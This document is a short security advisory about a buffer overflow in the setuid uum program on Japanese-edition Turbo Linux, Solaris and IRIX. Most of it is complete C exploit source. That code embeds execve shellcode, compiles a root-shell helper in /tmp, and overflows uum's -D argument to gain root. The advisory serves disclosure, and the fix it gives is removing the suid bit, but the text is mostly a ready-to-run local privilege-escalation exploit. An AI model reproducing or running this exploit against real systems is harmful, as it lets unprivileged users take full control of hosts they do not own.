COMMAND

    uum

SYSTEMS AFFECTED

    Turbo Linux3J with uum 4.2, Solaris 2.6,2.7, IRIX 5.3,6.2,6.3,6.4,6.5

PROBLEM

    UNYUN found following.  This is a suid program which is  installed
    many  kind  of  UNIXs  for  Japanese  edition  with  default.   It
    overflows if  the long  argment is  specified with  -D option, the
    local user can obtain root privilege.

    Exploit:

        http://shadowpenguin.backsection.net/toolbox.html#no046

    This exploit is for Turbo Linux3, the local user can obtain a root
    privilege.  It  is also confirmed  this overflow on  the following
    UNIXs.   Solaris   2.6,2.7,  IRIX   5.3,6.2,6.3,6.4,6.5  (uum   is
    installed with default). In other case, no check were made.

    /*=============================================================================
       /usr/bin/uum Exploit for Linux
       The Shadow Penguin Security (http://shadowpenguin.backsection.net)
       Written by
        UNYUN     (shadowpenguin@backsection.net)
      =============================================================================
    */
    #include <stdlib.h>
    #include <stdio.h>
    
    #define RET_ADR  84
    #define EXP_ADR  204
    #define MAXBUF   300
    #define JMP_OFS  0x484
    #define NOP      0x90
    #define SHELL    "/tmp/pp"
    #define COMPILER "gcc"
    
    char exec[60]=
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff";
    
    char            xx[MAXBUF+1];
    unsigned int    i,ip,sp;
    FILE            *fp;
    
    
    unsigned long get_sp(void)
    {
    __asm__("movl %esp, %eax");
    }
    
    main()
    {
        strcat(exec,SHELL);
        sprintf(xx,"%s.c",SHELL);
        if ((fp=fopen(xx,"w"))==NULL){
            printf("Can not write to %s\n",xx);
            exit(1);
        }
        fprintf(fp,"main(){setuid(0);setgid(0);system(\"/bin/sh\");}");
        fclose(fp);
        sprintf(xx,"%s %s.c -o %s",COMPILER,SHELL,SHELL);
        system(xx);
    
        sp=get_sp();
        memset(xx,NOP,MAXBUF);
        ip=sp-JMP_OFS;
        printf("Jumping address = %x\n",ip);
        xx[RET_ADR  ]=ip&0xff;
        xx[RET_ADR+1]=(ip>>8)&0xff;
        xx[RET_ADR+2]=(ip>>16)&0xff;
        xx[RET_ADR+3]=(ip>>24)&0xff;
        strncpy(xx+EXP_ADR,exec,strlen(exec));
        xx[MAXBUF]=0;
        execl("/usr/bin/uum","uum","-D",xx,(char *) 0);
    }

SOLUTION

    Remove suid bit.